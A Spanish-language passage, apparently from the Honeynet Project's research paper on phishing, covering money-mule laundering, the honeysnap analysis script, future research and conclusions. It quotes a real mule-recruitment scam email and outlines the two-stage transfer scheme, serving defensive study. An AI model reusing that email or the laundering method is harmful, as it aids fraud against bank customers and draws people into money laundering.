Nuestra investigación ha arrojado también luz sobre cómo los phishers usan la información capturada sobre cuentas bancarias, por ejemplo un número de cuenta con un TAN asociado (número de transacción empleado en banca electrónica). Dado que las transferencias en moneda extranjera son monitorizadas por la mayoría de bancos, los phishers no pueden simplemente transferir grandes cantidades de dinero desde un país a otro sin alertar a las autoridades financieras. Los phishers por tanto tienen que utilizar intermediarios para transferir por ellos el dinero - en un proceso en dos etapas el phisher transfiere dinero desde la cuenta bancaria de la víctima a la cuenta bancaria de un intermediario en el mismo país. El intermediario retira entonces el dinero de su cuenta (menos un porcentaje como remuneración por el servicio) y lo envía al phisher, por ejemplo por correo terrestre. Por supuesto, el intermediario podría ser capturado, pero como el dinero del phisher está ya en tránsito no afronta demasiado riesgo y pueden cambiar fácilmente su canal de envío de fondos sustituyendo al intermediario. Un correo electrónico de ejemplo demostrando algunas de las estructuras financieras tras los ataques de phishing se muestra a continuación:
Hello! We finding Europe persons, who can Send/Receive bank wires from our sellings, from our European clients. To not pay TAXES from international transfers in Russia. We offer 10% percent from amount u receive and pay all fees, for sending funds back.Amount from 1000 euro per day. All this activity are legal in Europe. Fill this form: http://XXX.info/index.php (before filling install yahoo! messenger please or msn), you will recieve full details very quickly. _________________________________________________________ Wir, europäische Personen findend, die Bankleitungen davon Senden/erhalten können unsere Verkäufe, von unseren Kunden von Deutschland. STEUERN von internationalen Übertragungen in Russland nicht zu bezahlen. Wir erhält das Prozent des Angebots 10 % vom Betrag und bezahlt alle Schulgelder, um Kapital zurück zu senden. Betrag von 1000 Euro pro Tag. Diese ganze Tätigkeit ist in Europa gesetzlich. Füllen Sie diese Form: http://XXX.info/index.php (bevor die Füllung Yahoo installiert! Bote bitte oder msn), Sie recieve volle Details sehr. Thank you, FINANCIE LTD.
Esta es una mala traducción del Inglés al Alemán, probablemente generada por ordenador, y sugiere que los atacantes no son angloparlantes nativos. Dado que el dinero será transferido a Rusia, el atacante probablemente proviene de este país. Este comportamiento está volviéndose cada vez más habitual a medida que las actividades de phishing se hacen más organizadas.
Una conclusión se hizo inmediatamente evidente cuando comenzamos a analizar los datos del compromiso de la honeynet británica de la primera técnica de phishing antes descrita - debido a múltiples ataques simultáneos por diferentes grupos, una cantidad significativa de tiempo iba a ser necesaria para extraer y preparar los datos de los flujos de tráfico de red antes de que se pudiera realizar un análisis más detallado. Este proceso de extracción de datos es repetitivo y tedioso, y de ser realizado manualmente representa un uso ineficiente del valioso tiempo de análisis. Era necesaria una solución automatizada.
El script honeysnap, escrito por David Watson del UK Honeynet Project, surgió de esta idea y fue diseñado para procesar fuentes de datos de una honeynet de forma diaria y producir un resumen sencillo para un posterior análisis manual. El script honeysnap desglosa los datos de cada honeypot y proporciona listas de peticiones GET salientes de HTTP y FTP, mensajes IRC y logs de tecleos de Sebek. La reconstrucción de streams TCP para conexiones de interés es automática, así como la extracción, identificación y almacenamiento de ficheros descargados por FTP o HTTP, implicando que mucho del prolongado trabajo de preparación para el análisis del incidente es eliminado, permitiendo al analista concentrarse en la investigación manual de los elementos clave del incidente. Honeysnap también proporciona un método automático para filtrar el tráfico IRC en busca de palabras clave interesantes (p.e. banco, cuenta, contraseña), proporcionando informes diarios resumidos por correo electrónico.
Actualmente honeysnap es un shell script de UNIX a modo de prueba de concepto básica y la release alpha puede encontrarse aquí. Una versión modular y plenamente extensible escrita en Python está actualmente siendo desarrollada por miembros del Honeynet Project y será liberada a la comunidad en versión beta en junio de 2005.La información presentada en este artículo sugiere varias potenciales vías para investigaciones adicionales en el campo de los ataques de phishing y recomendaríamos una investigación adicional sobre los siguientes temas:
Nos gustaría investigar si los honeypots pueden ser utilizados para ayudar en la lucha contra los spammers y phishers. Un posible proyecto de investigación sería el despliegue de honeypots adicionales de un tipo habitualmente utilizado en ataques de phishing previamente observados o ajustados para presentar objetivos atractivos para los spammers (tales como servicios SMT en open relay). El análisis de ataques posteriores a estos sistemas nos ayudaría a aprender más acerca de la anatomía de los ataques de phishing, particularmente en el campo del phishing empleando botnets, y a seguir la evolución de las técnicas de phishing. Otra posibilidad de investigación sería desarrollar la idea de los honeypots y producir "honeypots de lado cliente". Este tipo de honeypots de próxima generación participarían activamente en redes de comunicaciones, por ejemplo, siguiendo automáticamente enlaces en correos electrónicos de spam y accediendo al contenido. Los heneypots de lado cliente podrían permanecer en canales IRC o compartir y descargar ficheros mediante redes peer-to-peer, mejorando nuestro conocimiento sobre el tipo de amenazas presentes en estas redes de comunicaciones.
Adicionalmente, nos gustaría investigar métodos potenciales de contravenir o detener ataques de phishing. Dado que la ventana de tiempo entre el inicio y el fin de un ataque de phishing está probablemente limitada a una cuestión de horas o días, y los equipos de origen están ampliamente distribuidos, esta es una tarea difícil. Los actuales esfuerzos de investigación en este campo (por ejemplo The AntiPhishing Group y PhishReport) se concentran en recolectar correos electrónicos de phishing recibidos por usuarios finales. Si bien esta es una aproximación viable, la captura ocurre en la etapa final del ciclo de vida del incidente. Una aproximación automatizada a la captura y respuesta de ataques de phishing sería más deseable.
Sospechamos que se está comerciando con cuentas y contraseñas entre grupos de cyberdelincuentes, probablemente a través de IRC. Podría emplearse tecnología honeynet para capturar tales comunicaciones y comprender mejor las actividades de phishing. Adicionalmente, parece que a menudo se descargan utilidades de phishing desde un conjunto de servidores web o FTP actualizados regularmente. Aunque más controvertida, la monitorización de esta actividad contactando con los propietarios de los sitemas podría ayudar a prevenir algunas actividades de phishing, y se podría establecer un marco de trabajo para operar dicha investigación y las potenciales contramedidas.
Es necesario un trabajo adicional para mejorar la automatización del análisis de incidentes, particularmente en el perfilado automático de los datos capturados durante tales ataques. La automatización de la extracción de tráfico y direcciónes IP, consulta de DNS inverso y de los propietarios de segmentos de direcciones IP, resúmenes de tráfico por IP o por dominio e identificación pasiva en masa de sistemas operativos serían particularmente útiles al analizar grandes juegos de datos, como lo sería una base de datos forense local de equipos, atacantes, firmas de ataques, contenidos de mensajes, etc. A largo plazo, sería muy deseable y un gran beneficio para la comunidad disponer de estándares acordados para el intercambio de dicha información y una base de datos global para apoyar el análisis de actividades cybercriminales distribuidas.
En este artículo hemos presentado varios ejemplos reales de ataques de phishing y de las típicas actividades realizadas por los atacantes durante el ciclo de vida completo de tales incidentes. Toda la información proporcionada fue capturada empleando honeypots de investigación altamente interactivos, demostrando de nuevo que la tecnología de honeynet puede ser una poderosa herramienta en las áreas de la seguridad de la información y del análisis forense. Analizamos múltiples ataques contra honeypots desplegados por los Honeynet Projects británico y alemán. En cada incidente los phishers atacaron y comprometieron los sistemas honeypot, pero tras el compromiso inicial sus acciones difirieron y se observaron una serie de técnicas en la secuenciación de los ataques de phishing:
Estos datos nos han ayudado a entender cómo los phishers suelen comportarse, y algunos de los métodos que emplean para atraer y engañar a sus víctimas. Hemos aprendido que los ataques de phishing pueden ocurrir muy rápidamente, con un tiempo muy reducido entre la intrusión inicial en el sistema y la distribución online del contenido de phishing con el apoyo de mensajes de spam para publicitar el sitio web, y que esta rapidez puede hacer estos ataques difíciles de seguir y prevenir. Los segmentos de direcciones IP que alojan direcciones DSL domésticas o de pequeños negocios parecen ser particularmente populares para los ataques de phishing, presumiblemente porque los sistemas están a menudo peor gestionados y no siempre puestos al día con las actualizaciones de seguridad, y también porque los atacantes son menos probablemente identificados que si se dirigen a sistemas de grandes compañías. El ataque simultáneo a muchas organizaciones de menor tamaño hace también más difícil la respuesta al incidente. Hemos observado que los usuarios finales acceden regularmente a contenido de phishing, presumiblemente a través de la recepción de mensajes de spam, y un número sorprendentemente alto parece estar en riesgo de convertirse en víctimas de estos ataques.
Nuestra investigación sugiere también que los ataques de phishing se están volviendo más amplios y organizados. Hemos observado archivos prefabricados de sitios web de phishing dirigidos a grandes firmas online siendo almacenados, listos para ser rápidamente desplegados, sugiriendo el trabajo de grupos de phishing organizados. Estos contenidos puede ser además rápidamente propagados a través de las redes establecidas de redirectores de puertos o de botnets. Esto, unido a las evidencias de escaneos masivos y a las direcciones IP incluidas en contenidos web y scripts, sugiere que en un momento dado pueden estar activas muchas instancias de un determinado sitio de phishing. Se ha observado tráfico web siendo recibido en un servidor comprometido antes de que se completara en él la carga del contenido de phishing, y el spam de phishing enviado desde un equipo comprometido no siempre parece publicitar al equipo que lo envía, lo que de nuevo sugiere que es probable que se estén realizando operaciones de phishing distribuidas y en paralelo por parte de grupos organizados.
Nuestra investigación demuestra una clara conexión entre el spamming, las botnets y los ataques de phishing, así como el uso de intermediarios para ocultar transferencias financieras. Estas observaciones, al combinarse con los datos cuantitativos sobre escaneos masivos de vulnerabilidades y redes de phishing combinadas de dos etapas, demuestran que la amenaza que suponen los phishers es real, que sus actividades están organizadas, y que los métodos que emplean pueden ser a veces bastante avanzados. A medida que las apuestas suben y que las recompensas potenciales se hacen mayores, es probable que a lo largo del próximo año continúe habiendo nuevos avances en técnicas de phishing y un aumento del número de ataques. Reducir el número de PCs vulnerables que contribuyen a las botnets, enfrentar el incremento en el volumen de correo de spam, prevenir la actividad criminal organizada y educar a los usuarios de Internet sobre los riesgos potenciales de la ingeniería social siguen siendo desafíos significativos para la seguridad.
A continuación puede encontrarse un resumen de todas las subsecciones enlazadas en este artículo que proporcionan información de apoyo:
Las consultas y comentarios deben dirigirse al German Honeynet Project y al UK Honeynet Project.
